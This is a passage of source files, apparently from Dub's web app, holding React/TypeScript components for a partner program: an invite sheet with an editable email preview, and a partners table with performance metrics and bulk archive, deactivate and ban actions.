<input\n                          {...register(\"username\")}\n                          type=\"text\"\n                          id=\"username\"\n                          className=\"block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                          placeholder=\"johndoe\"\n                          autoComplete=\"off\"\n                        />\n                      </div>\n                    </div>\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n              <label className=\"block text-sm font-medium text-neutral-900\">\n                Group <span className=\"text-neutral-500\">(optional)</span>\n              </label>\n\n              <div className=\"relative mt-2 rounded-md shadow-sm\">\n                <GroupSelector\n                  selectedGroupId={watch(\"groupId\")}\n                  setSelectedGroupId={(groupId) => {\n                    setValue(\"groupId\", groupId, {\n                      shouldDirty: true,\n                    });\n                  }}\n                />\n              </div>\n            </div>\n          </div>\n\n          <EmailPreview\n            isEditingEmail={isEditingEmail}\n            emailContent={emailContent || defaultEmailContent}\n            draftEmailContent={draftEmailContent}\n            setDraftEmailContent={setDraftEmailContent}\n            onStartEditing={handleStartEditing}\n            onSave={handleSaveEmail}\n            onCancel={handleCancelEditing}\n            isSavingEmailData={isSavingEmailData}\n          />\n        </div>\n      </div>\n\n      <div className=\"sticky bottom-0 z-10 border-t border-neutral-200 bg-white\">\n        <div className=\"flex items-center justify-end gap-2 p-5\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            onClick={() => setIsOpen(false)}\n            text=\"Cancel\"\n            className=\"w-fit\"\n            disabled={isPending || isBulkPending}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Send invite\"\n            className=\"w-fit\"\n            loading={\n              isPending || isBulkPending || isSubmitting || isSubmitSuccessful\n            }\n            disabled={\n              isPending || isBulkPending || isEditingEmail || isSavingEmailData\n            }\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nfunction EmailPreview({\n  isEditingEmail,\n  emailContent,\n  draftEmailContent,\n  setDraftEmailContent,\n  onStartEditing,\n  onSave,\n  onCancel,\n  isSavingEmailData,\n}: {\n  isEditingEmail: boolean;\n  emailContent: EmailContent;\n  draftEmailContent: EmailContent;\n  setDraftEmailContent: (content: EmailContent) => void;\n  onStartEditing: () => void;\n  onSave: () => void;\n  onCancel: () => void;\n  isSavingEmailData: boolean;\n}) {\n  const { program } = useProgram();\n  const { verifiedEmailDomain } = useEmailDomains();\n\n  const { isMobile } = useMediaQuery();\n  const richTextRef = useRef<{ setContent: (content: any) => void }>(null);\n\n  const displayContent = isEditingEmail ? draftEmailContent : emailContent;\n\n  // Update editor content when switching to edit mode\n  const prevIsEditingEmail = useRef(isEditingEmail);\n  useEffect(() => {\n    if (isEditingEmail && !prevIsEditingEmail.current && richTextRef.current) {\n      richTextRef.current.setContent(draftEmailContent.body);\n    }\n    prevIsEditingEmail.current = isEditingEmail;\n    // eslint-disable-next-line react-hooks/exhaustive-deps\n  }, [isEditingEmail]);\n\n  return (\n    <div className=\"mt-6 rounded-lg border border-neutral-200 bg-neutral-50\">\n      <div className=\"flex items-center justify-between px-4 py-2\">\n        <h2 className=\"text-sm font-medium text-neutral-900\">Email preview</h2>\n        <div className=\"flex items-center gap-2\">\n          {isEditingEmail ? (\n            <>\n              <Button\n                type=\"button\"\n                variant=\"secondary\"\n                text=\"Cancel\"\n                className=\"h-7 w-fit rounded-lg px-2.5 text-sm\"\n                onClick={onCancel}\n              />\n              <Button\n                type=\"button\"\n                variant=\"primary\"\n                text=\"Save\"\n                className=\"h-7 w-fit rounded-lg px-2.5 text-sm\"\n                onClick={onSave}\n                loading={isSavingEmailData}\n                disabled={isSavingEmailData}\n              />\n            </>\n          ) : (\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Edit\"\n              className=\"h-7 w-fit rounded-lg px-2.5 text-sm\"\n              onClick={onStartEditing}\n            />\n          )}\n        </div>\n      </div>\n      <div className=\"border-border-subtle -mx-px -mb-px overflow-hidden rounded-lg border bg-white\">\n        {isEditingEmail ? (\n          <div className=\"p-5\">\n            <div className=\"grid grid-cols-1 gap-5\">\n              <div>\n                <label\n                  htmlFor=\"email-subject\"\n                  className=\"block text-sm font-medium text-neutral-900\"\n                >\n                  Subject\n                </label>\n                <div className=\"mt-1.5\">\n                  <input\n                    id=\"email-subject\"\n                    type=\"text\"\n                    value={draftEmailContent.subject}\n                    onChange={(e) =>\n                      setDraftEmailContent({\n                        ...draftEmailContent,\n                        subject: e.target.value,\n                      })\n                    }\n                    className=\"block w-full rounded-md border-neutral-300 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n                    placeholder=\"Email subject\"\n                    autoFocus={!isMobile}\n                  />\n                </div>\n              </div>\n\n              <div>\n                <label\n                  htmlFor=\"email-title\"\n                  className=\"block text-sm font-medium text-neutral-900\"\n                >\n                  Title\n                </label>\n                <div className=\"mt-1.5\">\n                  <input\n                    id=\"email-title\"\n                    type=\"text\"\n                    value={draftEmailContent.title}\n                    onChange={(e) =>\n                      setDraftEmailContent({\n                        ...draftEmailContent,\n                        title: e.target.value,\n                      })\n                    }\n                    className=\"block w-full rounded-md border-neutral-300 text-sm text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\"\n                    placeholder=\"Email title\"\n                  />\n                </div>\n              </div>\n\n              <div>\n                <label\n                  htmlFor=\"email-body\"\n                  className=\"block text-sm font-medium text-neutral-900\"\n                >\n                  Content\n                </label>\n                <div className=\"mt-1.5\">\n                  <RichTextProvider\n                    key=\"edit-email-body\"\n                    ref={richTextRef}\n                    features={[\"bold\", \"italic\", \"links\"]}\n                    markdown\n                    placeholder=\"Start typing...\"\n                    initialValue={draftEmailContent.body}\n                    editorClassName=\"block max-h-48 overflow-auto scrollbar-hide w-full resize-none border-none p-3 text-base sm:text-sm\"\n                    onChange={(editor) => {\n                      const markdown = (editor as any).getMarkdown() || null;\n                      setDraftEmailContent({\n                        ...draftEmailContent,\n                        body: markdown || \"\",\n                      });\n                    }}\n                    editorProps={{\n                      handleDOMEvents: {\n                        keydown: (_, e) => {\n                          if (e.key === \"Enter\" && (e.metaKey || e.ctrlKey)) {\n                            e.preventDefault();\n                            e.stopPropagation();\n                            onSave();\n                            return false;\n                          }\n                        },\n                      },\n                    }}\n                  >\n                    <div\n                      className={cn(\n                        \"overflow-hidden rounded-md border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n                      )}\n                    >\n                      <div className=\"flex flex-col\">\n                        <RichTextArea />\n                        <RichTextToolbar className=\"px-1 pb-1\" />\n                      </div>\n                    </div>\n                  </RichTextProvider>\n                </div>\n              </div>\n            </div>\n          </div>\n        ) : (\n          <>\n            <div className=\"grid gap-1 border-b border-neutral-200 bg-white px-4 py-3\">\n              <p className=\"text-xs text-neutral-500\">\n                <strong className=\"font-medium text-neutral-900\">From: </strong>\n                {verifiedEmailDomain\n                  ? `partners@${verifiedEmailDomain.slug}`\n                  : \"notifications@mail.dub.co\"}\n              </p>\n              <p className=\"text-xs text-neutral-500\">\n                <strong className=\"font-medium text-neutral-900\">\n                  Subject:{\" \"}\n                </strong>\n                {displayContent.subject}\n              </p>\n            </div>\n            <div className=\"grid grid-cols-1 gap-3 p-4 pb-8\">\n              <BlurImage\n                src={program?.logo || \"https://assets.dub.co/wordmark.png\"}\n                alt={program?.name || \"Dub\"}\n                className=\"my-1 size-8 rounded-full object-contain\"\n                width={48}\n                height={48}\n              />\n              <h3 className=\"font-medium text-neutral-900\">\n                {displayContent.title}\n              </h3>\n              <div className=\"prose prose-sm prose-neutral max-w-none text-neutral-500\">\n                <RichTextProvider\n                  key={`preview-${displayContent.body}`}\n                  features={[\"bold\", \"italic\", \"links\"]}\n                  style=\"condensed\"\n                  markdown\n                  editable={false}\n                  initialValue={displayContent.body}\n                  editorClassName=\"text-sm leading-6 text-neutral-500 [&_a]:font-semibold [&_a]:text-neutral-800 [&_a]:underline [&_a]:underline-offset-2 [&_ul]:list-disc [&_ul]:pl-4 [&_ol]:list-decimal [&_ol]:pl-4 [&_li]:marker:text-neutral-400\"\n                >\n                  <RichTextArea />\n                </RichTextProvider>\n              </div>\n              <Button\n                type=\"button\"\n                text=\"Accept invite\"\n                className=\"mt-4 w-fit\"\n              />\n            </div>\n          </>\n        )}\n      </div>\n    </div>\n  );\n}\n\nexport function InvitePartnerSheet({\n  isOpen,\n  ...rest\n}: InvitePartnerSheetProps & {\n  isOpen: boolean;\n}) {\n  return (\n    <Sheet open={isOpen} onOpenChange={rest.setIsOpen}>\n      <InvitePartnerSheetContent {...rest} />\n    </Sheet>\n  );\n}\n\nexport function useInvitePartnerSheet() {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return {\n    invitePartnerSheet: (\n      <InvitePartnerSheet setIsOpen={setIsOpen} isOpen={isOpen} />\n    ),\n    setIsOpen,\n  };\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/page.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ImportExportButtons } from \"./import-export-buttons\";\nimport { InvitePartnerButton } from \"./invite-partner-button\";\nimport { PartnersTable } from \"./partners-table\";\n\nexport default function ProgramPartners() {\n  return (\n    <PageContent\n      title=\"Partners\"\n      titleInfo={{\n        title:\n          \"Understand how all your partners are performing and contributing to the success of your partner program.\",\n        href: \"https://dub.co/help/article/managing-program-partners\",\n      }}\n      controls={\n        <>\n          <InvitePartnerButton />\n          <ImportExportButtons />\n        </>\n      }\n    >\n      <PageWidthWrapper>\n        <PartnersTable />\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/partners/partners-table.tsx",
    "content": "\"use client\";\n\nimport { deleteProgramInviteAction } from \"@/lib/actions/partners/delete-program-invite\";\nimport { resendProgramInviteAction } from \"@/lib/actions/partners/resend-program-invite\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useProgram from \"@/lib/swr/use-program\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EnrolledPartnerProps } from \"@/lib/types\";\nimport { useArchivePartnerModal } from \"@/ui/modals/archive-partner-modal\";\nimport { useBanPartnerModal } from \"@/ui/modals/ban-partner-modal\";\nimport { useBulkArchivePartnersModal } from \"@/ui/modals/bulk-archive-partners-modal\";\nimport { useBulkBanPartnersModal } from \"@/ui/modals/bulk-ban-partners-modal\";\nimport { useBulkDeactivatePartnersModal } from \"@/ui/modals/bulk-deactivate-partners-modal\";\nimport { useChangeGroupModal } from \"@/ui/modals/change-group-modal\";\nimport { useDeactivatePartnerModal } from \"@/ui/modals/deactivate-partner-modal\";\nimport { useReactivatePartnerModal } from \"@/ui/modals/reactivate-partner-modal\";\nimport { useUnbanPartnerModal } from \"@/ui/modals/unban-partner-modal\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport { PartnerRowItem } from \"@/ui/partners/partner-row-item\";\nimport { PartnerStatusBadges } from \"@/ui/partners/partner-status-badges\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { ProgramEnrollmentStatus } from \"@dub/prisma/client\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  EditColumnsButton,\n  Filter,\n  Icon,\n  MoneyBill2,\n  Popover,\n  StatusBadge,\n  Table,\n  TimestampTooltip,\n  useColumnVisibility,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  BoxArchive,\n  CircleXmark,\n  Dots,\n  EnvelopeArrowRight,\n  LoadingSpinner,\n  Trash,\n  UserDelete,\n  Users,\n  Users6,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  COUNTRIES,\n  currencyFormatter,\n  fetcher,\n  formatDate,\n} from \"@dub/utils\";\nimport { nFormatter } from \"@dub/utils/src/functions\";\nimport { Row, Table as TableType } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { LockOpen } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useParams, useRouter } from \"next/navigation\";\nimport { useMemo, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { usePartnerFilters } from \"./use-partner-filters\";\n\nconst partnersColumns = {\n  all: [\n    \"partner\",\n    \"group\",\n    \"createdAt\",\n    \"status\",\n    \"location\",\n    \"totalClicks\",\n    \"totalLeads\",\n    \"totalConversions\",\n    \"totalSales\",\n    \"totalSaleAmount\",\n    \"totalCommissions\",\n    \"netRevenue\",\n    \"earningsPerClick\",\n    \"averageLifetimeValue\",\n    \"clickToLeadRate\",\n    \"clickToConversionRate\",\n    \"leadToConversionRate\",\n    \"returnOnAdSpend\",\n  ],\n  defaultVisible: [\n    \"partner\",\n    \"group\",\n    \"location\",\n    \"totalClicks\",\n    \"totalLeads\",\n    \"totalConversions\",\n    \"totalSaleAmount\",\n    \"totalCommissions\",\n    \"netRevenue\",\n  ],\n};\n\nconst getPartnerUrl = ({\n  workspaceSlug,\n  id,\n}: {\n  workspaceSlug: string;\n  id: string;\n}) => `/${workspaceSlug}/program/partners/${id}`;\n\nexport function PartnersTable() {\n  const router = useRouter();\n  const { queryParams, searchParams, getQueryString } = useRouterStuff();\n\n  const { id: workspaceId, slug: workspaceSlug } = useWorkspace();\n  const { program } = useProgram();\n\n  const status = (\n    searchParams.get(\"status\") || searchParams.get(\"search\")\n      ? undefined\n      : \"approved\"\n  ) as ProgramEnrollmentStatus;\n\n  const sortBy =\n    searchParams.get(\"sortBy\") ||\n    (program?.primaryRewardEvent === \"lead\" ? \"totalLeads\" : \"totalSaleAmount\");\n  const sortOrder = searchParams.get(\"sortOrder\") === \"asc\" ? \"asc\" : \"desc\";\n\n  const {\n    filters,\n    activeFilters,\n    onSelect,\n    onRemove,\n    onRemoveAll,\n    isFiltered,\n  } = usePartnerFilters({ sortBy, sortOrder, status });\n\n  const { partnersCount, error: countError } = usePartnersCount<number>({\n    ...(status ? { status } : {}),\n  });\n\n  const {\n    data: partners,\n    error,\n    isLoading,\n  } = useSWR<EnrolledPartnerProps[]>(\n    `/api/partners${getQueryString({\n      workspaceId,\n      ...(status ? { status } : {}),\n      sortBy,\n      sortOrder,\n    })}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { groups } = useGroups();\n\n  const [pendingChangeGroupPartners, setPendingChangeGroupPartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const { ChangeGroupModal, setShowChangeGroupModal } = useChangeGroupModal({\n    partners: pendingChangeGroupPartners,\n  });\n\n  const [pendingArchivePartners, setPendingArchivePartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const { BulkArchivePartnersModal, setShowBulkArchivePartnersModal } =\n    useBulkArchivePartnersModal({\n      partners: pendingArchivePartners,\n      onConfirm: async () => {\n        await mutatePrefix(\"/api/partners\");\n      },\n    });\n\n  const [pendingDeactivatePartners, setPendingDeactivatePartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const { BulkDeactivatePartnersModal, setShowBulkDeactivatePartnersModal } =\n    useBulkDeactivatePartnersModal({\n      partners: pendingDeactivatePartners,\n      onConfirm: async () => {\n        await mutatePrefix(\"/api/partners\");\n      },\n    });\n\n  const [pendingBanPartners, setPendingBanPartners] = useState<\n    EnrolledPartnerProps[]\n  >([]);\n\n  const { BulkBanPartnersModal, setShowBulkBanPartnersModal } =\n    useBulkBanPartnersModal({\n      partners: pendingBanPartners,\n      onConfirm: async () => {\n        await mutatePrefix(\"/api/partners\");\n      },\n    });\n\n  const { columnVisibility, setColumnVisibility } = useColumnVisibility(\n    \"partners-table-columns-v2\",\n    partnersColumns,\n  );\n\n  const { pagination, setPagination } = usePagination();\n\n  const columns = useMemo(\n    () =>\n      [\n        {\n          id: \"partner\",\n          header: \"Partner\",\n          enableHiding: false,\n          minSize: 150,\n          maxSize: 250,\n          cell: ({ row }) => {\n            return (\n              <PartnerRowItem partner={row.original} showPermalink={false} />\n            );\n          },\n        },\n        {\n          id: \"group\",\n          header: \"Group\",\n          maxSize: 250,\n          cell: ({ row }) => {\n            if (!groups) return \"-\";\n\n            const group = groups.find((g) => g.id === row.original.groupId);\n\n            if (!group) return \"-\";\n\n            return (\n              <div className=\"flex items-center gap-2\">\n                <GroupColorCircle group={group} />\n                <span className=\"truncate text-sm font-medium\">\n                  {group.name}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"createdAt\",\n          header: \"Enrolled\",\n          cell: ({ row }) => (\n            <TimestampTooltip\n              timestamp={row.original.createdAt}\n              side=\"right\"\n              rows={[\"local\"]}\n              delayDuration={150}\n            >\n              <span>\n                {formatDate(row.original.createdAt, { month: \"short\" })}\n              </span>\n            </TimestampTooltip>\n          ),\n        },\n        {\n          id: \"status\",\n          header: \"Status\",\n          cell: ({ row }) => {\n            const badge = PartnerStatusBadges[row.original.status];\n            return badge ? (\n              <StatusBadge icon={null} variant={badge.variant}>\n                {badge.label}\n              </StatusBadge>\n            ) : (\n              \"-\"\n            );\n          },\n        },\n        {\n          id: \"location\",\n          header: \"Location\",\n          minSize: 190,\n          size: 190,\n          meta: {\n            disableTruncate: true,\n            filterParams: ({ getValue }) =>\n              getValue()\n                ? {\n                    country: getValue(),\n                  }\n                : undefined,\n          },\n          cell: ({ row }) => {\n            const country = row.original.country;\n            return (\n              <div className=\"flex items-center gap-2 whitespace-nowrap\">\n                {country && (\n                  <img\n                    alt={`${country} flag`}\n                    src={`https://hatscripts.github.io/circle-flags/flags/${country.toLowerCase()}.svg`}\n                    className=\"size-4 shrink-0\"\n                  />\n                )}\n                <span className=\"whitespace-nowrap\">\n                  {(country ? COUNTRIES[country] : null) ?? \"-\"}\n                </span>\n              </div>\n            );\n          },\n        },\n        {\n          id: \"totalClicks\",\n          header: \"Clicks\",\n          meta: {\n            headerTooltip: \"Total number of clicks on the partner's links.\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) => nFormatter(d.totalClicks),\n        },\n        {\n          id: \"totalLeads\",\n          header: \"Leads\",\n          meta: {\n            headerTooltip:\n              \"Total number of leads generated by the partner's links.\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) => nFormatter(d.totalLeads),\n        },\n        {\n          id: \"totalConversions\",\n          header: \"Conversions\",\n          meta: {\n            headerTooltip:\n              \"Total number of leads that converted to paying customers.\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            nFormatter(d.totalConversions),\n        },\n        {\n          id: \"totalSales\",\n          header: \"Sales\",\n          meta: {\n            headerTooltip:\n              \"Total number of sales generated by the partner's links (includes recurring sales).\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) => nFormatter(d.totalSales),\n        },\n        {\n          id: \"totalSaleAmount\",\n          header: \"Revenue\",\n          meta: {\n            headerTooltip: \"Total revenue generated by the partner's links.\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            currencyFormatter(d.totalSaleAmount),\n        },\n        {\n          id: \"totalCommissions\",\n          header: \"Commissions\",\n          meta: {\n            headerTooltip:\n              \"Total commissions paid to the partner for their referrals.\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            currencyFormatter(d.totalCommissions),\n        },\n        {\n          id: \"netRevenue\",\n          header: \"Net Revenue\",\n          meta: {\n            headerTooltip:\n              \"Net revenue after commissions.  \\n`Total Revenue - Total Commissions`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            currencyFormatter(d.netRevenue),\n        },\n        {\n          id: \"earningsPerClick\",\n          header: \"EPC\",\n          meta: {\n            headerTooltip:\n              \"Earnings Per Click (EPC).  \\n`Total Revenue ÷ Total Clicks`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.earningsPerClick ? currencyFormatter(d.earningsPerClick) : \"-\",\n        },\n        {\n          id: \"averageLifetimeValue\",\n          header: \"Avg LTV\",\n          meta: {\n            headerTooltip:\n              \"Average lifetime value for each paying customer.  \\n`Total Revenue ÷ Total Conversions`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.averageLifetimeValue\n              ? currencyFormatter(d.averageLifetimeValue)\n              : \"-\",\n        },\n        {\n          id: \"clickToLeadRate\",\n          header: \"Click → Lead\",\n          meta: {\n            headerTooltip:\n              \"Percentage of clicks that become leads.  \\n`Total Leads ÷ Total Clicks`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.clickToLeadRate\n              ? `${parseFloat((d.clickToLeadRate * 100).toFixed(2))}%`\n              : \"-\",\n        },\n        {\n          id: \"clickToConversionRate\",\n          header: \"Click → Conv\",\n          meta: {\n            headerTooltip:\n              \"Percentage of clicks that convert to paying customers.  \\n`Total Conversions ÷ Total Clicks`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.clickToConversionRate\n              ? `${parseFloat((d.clickToConversionRate * 100).toFixed(2))}%`\n              : \"-\",\n        },\n        {\n          id: \"leadToConversionRate\",\n          header: \"Lead → Conv\",\n          meta: {\n            headerTooltip:\n              \"Percentage of leads that convert to paying customers.  \\n`Total Conversions ÷ Total Leads`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.leadToConversionRate\n              ? `${parseFloat((d.leadToConversionRate * 100).toFixed(2))}%`\n              : \"-\",\n        },\n        {\n          id: \"returnOnAdSpend\",\n          header: \"ROAS\",\n          meta: {\n            headerTooltip:\n              \"Return On Ad Spend (ROAS).  \\n`Total Revenue ÷ Total Commissions`\",\n          },\n          accessorFn: (d: EnrolledPartnerProps) =>\n            d.returnOnAdSpend\n              ? `${parseFloat(d.returnOnAdSpend.toFixed(2))}x`\n              : \"-\",\n        },\n        // Menu\n        {\n          id: \"menu\",\n          enableHiding: false,\n          header: ({ table }) => <EditColumnsButton table={table} />,\n          cell: ({ row }) => (\n            <RowMenuButton row={row} workspaceId={workspaceId!} />\n          ),\n        },\n      ].filter((c) => c.id === \"menu\" || partnersColumns.all.includes(c.id)),\n    [workspaceId, groups],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: partners || [],\n    columns,\n    columnPinning: { right: [\"menu\"] },\n    onRowClick: (row, e) => {\n      const url = getPartnerUrl({\n        workspaceSlug: workspaceSlug!,\n        id: row.original.id,\n      });\n\n      if (e.metaKey || e.ctrlKey) window.open(url, \"_blank\");\n      else router.push(url);\n    },\n    onRowAuxClick: (row) =>\n      window.open(\n        getPartnerUrl({ workspaceSlug: workspaceSlug!, id: row.original.id }),\n        \"_blank\",\n      ),\n    rowProps: (row) => ({\n      onPointerEnter: () => {\n        router.prefetch(\n          getPartnerUrl({ workspaceSlug: workspaceSlug!, id: row.original.id }),\n        );\n      },\n    }),\n    pagination,\n    onPaginationChange: setPagination,\n    columnVisibility,\n    onColumnVisibilityChange: setColumnVisibility,\n    sortableColumns: [\n      \"createdAt\",\n      \"totalClicks\",\n      \"totalLeads\",\n      \"totalConversions\",\n      \"totalSaleAmount\",\n      \"totalCommissions\",\n      \"netRevenue\",\n      \"earningsPerClick\",\n      \"averageLifetimeValue\",\n      \"clickToLeadRate\",\n      \"clickToConversionRate\",\n      \"leadToConversionRate\",\n      \"returnOnAdSpend\",\n    ],\n    sortBy,\n    sortOrder,\n    onSortChange: ({ sortBy, sortOrder }) =>\n      queryParams({\n        set: {\n          ...(sortBy && { sortBy }),\n          ...(sortOrder && { sortOrder }),\n        },\n        del: \"page\",\n        scroll: false,\n      }),\n\n    getRowId: (row) => row.id,\n    selectionControls: (table) => (\n      <>\n        <Button\n          variant=\"primary\"\n          text=\"Change group\"\n          icon={<Users6 className=\"size-3.5 shrink-0\" />}\n          className=\"h-7 w-fit rounded-lg px-2.5\"\n          loading={false}\n          onClick={() => {\n            const partners = table\n              .getSelectedRowModel()\n              .rows.map((row) => row.original);\n\n            setPendingChangeGroupPartners(partners);\n            setShowChangeGroupModal(true);\n          }}\n        />\n\n        {(status === \"approved\" ||\n          searchParams.get(\"status\") === \"approved\") && (\n          <BulkActionsMenu\n            table={table}\n            onArchivePartners={(partners) => {\n              setPendingArchivePartners(partners);\n              setShowBulkArchivePartnersModal(true);\n            }}\n            onDeactivatePartners={(partners) => {\n              setPendingDeactivatePartners(partners);\n              setShowBulkDeactivatePartnersModal(true);\n            }}\n            onBanPartners={(partners) => {\n              setPendingBanPartners(partners);\n              setShowBulkBanPartnersModal(true);\n            }}\n          />\n        )}\n      </>\n    ),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) => `partner${p ? \"s\" : \"\"}`,\n    rowCount: partnersCount || 0,\n    loading: isLoading,\n    error: error || countError ? \"Failed to load partners\" : undefined,\n  });\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      <ChangeGroupModal />\n      <BulkArchivePartnersModal />\n      <BulkDeactivatePartnersModal />\n      <BulkBanPartnersModal />\n      <div>\n        <div className=\"flex flex-col gap-3 md:flex-row md:items-center md:justify-between\">\n          <Filter.Select\n            className=\"w-full md:w-fit\"\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n          />\n          <SearchBoxPersisted\n            placeholder=\"Search by name, email, or company\"\n            inputClassName=\"md:w-80\"\n          />\n        </div>\n        <AnimatedSizeContainer height>\n          <div>\n            {activeFilters.length > 0 && (\n              <div className=\"pt-3\">\n                <Filter.List\n                  filters={filters}\n                  activeFilters={activeFilters}\n                  onSelect={onSelect}\n                  onRemove={onRemove}\n                  onRemoveAll={onRemoveAll}\n                />\n              </div>\n            )}\n          </div>\n        </AnimatedSizeContainer>\n      </div>\n      {partners?.length !== 0 ? (\n        <Table {...tableProps} table={table} />\n      ) : (\n        <AnimatedEmptyState\n          title=\"No partners found\"\n          description={\n            isFiltered\n              ? \"No partners found for the selected filters.\"\n              : \"No partners have been added to this program yet.\"\n          }\n          cardContent={() => (\n            <>\n              <Users className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n            </>\n          )}\n        />\n      )}\n    </div>\n  );\n}\n\nfunction BulkActionsMenu({\n  table,\n  onArchivePartners,\n  onDeactivatePartners,\n  onBanPartners,\n}: {\n  table: TableType<EnrolledPartnerProps>;\n  onArchivePartners: (partners: EnrolledPartnerProps[]) => void;\n  onDeactivatePartners: (partners: EnrolledPartnerProps[]) => void;\n  onBanPartners: (partners: EnrolledPartnerProps[]) => void;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  const selectedPartners = table\n    .getSelectedRowModel()\n    .rows.map((row) => row.original);\n\n  const partnerWord = selectedPartners.length === 1 ? \"partner\" : \"partners\";\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      content={\n        <Command tabIndex={0} loop className=\"focus:outline-none\">\n          <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n            <Command.Group className=\"grid gap-px p-1.5\">\n              <MenuItem\n                icon={BoxArchive}\n                label={`Archive ${partnerWord}`}\n                onSelect={() => {\n                  onArchivePartners(selectedPartners);\n                  setIsOpen(false);\n                }}\n              />\n              <MenuItem\n                icon={CircleXmark}\n                label={`Deactivate ${partnerWord}`}\n                onSelect={() => {\n                  onDeactivatePartners(selectedPartners);\n                  setIsOpen(false);\n                }}\n              />\n              <MenuItem\n                icon={UserDelete}\n                label={`Ban ${partnerWord}`}\n                variant=\"danger\"\n                onSelect={() => {\n                  onBanPartners(selectedPartners);\n                  setIsOpen(false);\n                }}\n              />\n            </Command.Group>\n          </Command.List>\n        </Command>\n      }\n      align=\"start\"\n    >\n      <Button\n        type=\"button\"\n        className=\"size-7 whitespace-nowrap rounded-lg p-2\"\n        variant=\"secondary\"\n        icon={<ThreeDots className=\"h-4 w-4 shrink-0\" />}\n      />\n    </Popover>\n  );\n}\n\nfunction RowMenuButton({\n  row,\n  workspaceId,\n}: {\n  row: Row<EnrolledPartnerProps>;\n  workspaceId: string;\n}) {\n  const router = useRouter();\n  const { slug } = useParams();\n  const [isOpen, setIsOpen] = useState(false);\n\n  const { ChangeGroupModal, setShowChangeGroupModal } = useChangeGroupModal({\n    partners: [row.original],\n  });\n\n  const { ArchivePartnerModal, setShowArchivePartnerModal } =\n    useArchivePartnerModal({\n      partner: row.original,\n    });\n\n  const { BanPartnerModal, setShowBanPartnerModal } = useBanPartnerModal({\n    partner: row.original,\n    onConfirm: async () => {\n      mutatePrefix(\"/api/partners\");\n    },\n  });\n\n  const { UnbanPartnerModal, setShowUnbanPartnerModal } = useUnbanPartnerModal({\n    partner: row.original,\n  });\n\n  const { DeactivatePartnerModal, setShowDeactivatePartnerModal } =\n    useDeactivatePartnerModal({\n      partner: row.original,\n    });\n\n  const { ReactivatePartnerModal, setShowReactivatePartnerModal } =\n    useReactivatePartnerModal({\n      partner: row.original,\n    });\n\n  const { executeAsync: resendInvite, isPending: isResendingInvite } =\n    useAction(resendProgramInviteAction, {\n      onSuccess: async () => {\n        toast.success(\"Resent the partner invite.\");\n        setIsOpen(false);\n      },\n      onError: ({ error }) => {\n        toast.error(error.serverError);\n      },\n    });\n\n  const { executeAsync: deleteInvite, isPending: isDeletingInvite } = useAction(\n    deleteProgramInviteAction,\n    {\n      onSuccess: async () => {\n        await mutatePrefix(\"/api/partners\");\n        setIsOpen(false);\n        toast.success(\"Deleted the partner 